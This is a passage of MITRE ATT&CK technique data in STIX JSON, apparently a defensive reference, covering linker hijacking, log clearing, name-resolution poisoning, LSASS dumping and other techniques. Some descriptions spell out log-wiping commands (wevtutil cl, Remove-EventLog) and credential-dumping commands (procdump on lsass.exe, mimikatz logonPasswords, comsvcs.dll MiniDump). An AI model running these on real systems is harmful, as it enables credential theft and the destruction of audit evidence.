                    "source_name": "Intezer Symbiote 2022",
                    "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                    "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
                },
                {
                    "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
                    "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
                    "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
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                    "source_name": "Man LD.SO",
                    "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
                    "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
                },
                {
                    "source_name": "Elastic Security Labs Pumakit 2024",
                    "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
                    "url": "https://www.elastic.co/security-labs/declawing-pumakit"
                },
                {
                    "source_name": "TLDP Shared Libraries",
                    "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
                    "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
                },
                {
                    "source_name": "Timac DYLD_INSERT_LIBRARIES",
                    "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
                    "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
                },
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
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            "modified": "2026-05-12T15:12:00.636Z",
            "name": "Dynamic Linker Hijacking",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.",
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "created": "2020-01-28T13:50:22.506Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136/001",
                    "external_id": "T1136.001"
                },
                {
                    "source_name": "cisco_username_cmd",
                    "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
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                {
                    "source_name": "Cyber Security News",
                    "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
                    "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
                },
                {
                    "source_name": "Kubernetes Service Accounts Security",
                    "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
                    "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
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            "name": "Local Account",
            "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
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            "type": "attack-pattern",
            "id": "attack-pattern--63b24abc-5702-4745-b1e4-ac70b20a43f2",
            "created": "2025-09-26T15:42:30.468Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1681",
                    "external_id": "T1681"
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                {
                    "source_name": "Sentinel One Contagious Interview ClickFix September 2025",
                    "description": "Aleksandar Milenkoski, Sreekar Madabushi, Kenneth Kinion. (2025, September 4). Contagious Interview | North Korean Threat Actors Reveal Plans and Ops by Abusing Cyber Intel Platforms. Retrieved October 20, 2025.",
                    "url": "https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
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            "modified": "2025-10-24T17:48:51.996Z",
            "name": "Search Threat Vendor Data",
            "description": "Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group\u2019s activity, and more. Adversaries may change their behavior when planning their future operations. \n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)\n\nThis technique is distinct from [Threat Intel Vendors](https://attack.mitre.org/techniques/T1597/001) in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information. ",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--63e3d25c-d57d-407d-8e6a-2cecd71f90be",
            "created": "2025-03-27T18:14:06.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1674",
                    "external_id": "T1674"
                },
                {
                    "source_name": "BleepingComputer BackSwap",
                    "description": "Catalin Cimpanu. (2018, May 25). BackSwap Banking Trojan Uses Never-Before-Seen Techniques. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/backswap-banking-trojan-uses-never-before-seen-techniques/"
                },
                {
                    "source_name": "BleepingComputer USB",
                    "description": "Ionut Ilascu. (2020, March 27). FBI: Hackers Sending Malicious USB Drives & Teddy Bears via USPS. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/fbi-hackers-sending-malicious-usb-drives-and-teddy-bears-via-usps/"
                },
                {
                    "source_name": "welivesecurity BackSwap",
                    "description": "Michal Poslu\u0161n\u00fd. (2018, May 25). BackSwap malware finds innovative ways to empty bank accounts. Retrieved March 27, 2025.",
                    "url": "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/"
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            "modified": "2025-04-15T19:58:36.409Z",
            "name": "Input Injection",
            "description": "Adversaries may simulate keystrokes on a victim\u2019s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.(Citation: BleepingComputer BackSwap)(Citation: welivesecurity BackSwap)\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.(Citation: BleepingComputer USB)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
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            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "created": "2017-05-31T21:31:09.379Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1092",
                    "external_id": "T1092"
                },
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:48:52.106Z",
            "name": "Communication Through Removable Media",
            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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            "type": "attack-pattern",
            "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "created": "2020-01-28T17:05:14.707Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/001",
                    "external_id": "T1070.001"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "Microsoft Clear-EventLog",
                    "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"
                },
                {
                    "source_name": "Microsoft EventLog.Clear",
                    "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
                    "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
                },
                {
                    "source_name": "Microsoft wevtutil Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"
                }
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            "object_marking_refs": [
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            "modified": "2026-04-14T22:54:48.496Z",
            "name": "Clear Windows Event Logs",
            "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "created": "2020-10-01T01:09:53.217Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/002",
                    "external_id": "T1585.002"
                },
                {
                    "source_name": "Trend Micro R980 2016",
                    "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.636Z",
            "name": "Email Accounts",
            "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "created": "2020-02-11T19:08:51.677Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/001",
                    "external_id": "T1557.001"
                },
                {
                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
                },
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
                },
                {
                    "source_name": "BlackCat ransomware",
                    "description": "Lucas Silva, Leandro Froes. (2022, April 18). An Investigation of the BlackCat Ransomware via Trend Micro Vision One. Retrieved February 2, 2026.",
                    "url": "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html"
                },
                {
                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
                },
                {
                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
                },
                {
                    "source_name": "mDNS RFC",
                    "description": "S. Cheshire, M. Krochmal. (2013, February). Multicast DNS. Retrieved February 2, 2026.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc6762"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
                },
                {
                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
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            "name": "Name Resolution Poisoning and SMB Relay",
            "description": "By responding to LLMNR/NBT-NS/mDNS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system.(Citation: BlackCat ransomware) This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.(Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nMulticast Domain Name System(mDNS) is a zero-configuration service used to resolve hostnames to IP addresses with \u201c.local\u201d as a top-level domain. MDNS is based upon Domain Name System (DNS) format and allows hosts on the same network segment to perform name resolution for other hosts, using multicast.(Citation: mDNS RFC)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137)/mDNS (UDP 5353) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various other protocols, such as LDAP, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222",
                    "external_id": "T1222"
                },
                {
                    "source_name": "falconoverwatch_blackcat_attack",
                    "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.",
                    "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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                {
                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
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                {
                    "source_name": "bad_luck_blackcat",
                    "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.",
                    "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"
                },
                {
                    "source_name": "fsutil_behavior",
                    "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"
                },
                {
                    "source_name": "blackmatter_blackcat",
                    "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
                },
                {
                    "source_name": "new_rust_based_ransomware",
                    "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"
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            "name": "File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ",
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                "Jan Miller, CrowdStrike"
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            "x_mitre_deprecated": false,
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            "type": "attack-pattern",
            "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "created": "2020-02-11T18:41:44.783Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/001",
                    "external_id": "T1003.001"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Deep Instinct LSASS",
                    "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.",
                    "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Symantec Attacks Against Government Sector",
                    "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.",
                    "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
                },
                {
                    "source_name": "TechNet Blogs Credential Protection",
                    "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"
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            "name": "LSASS Memory",
            "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access 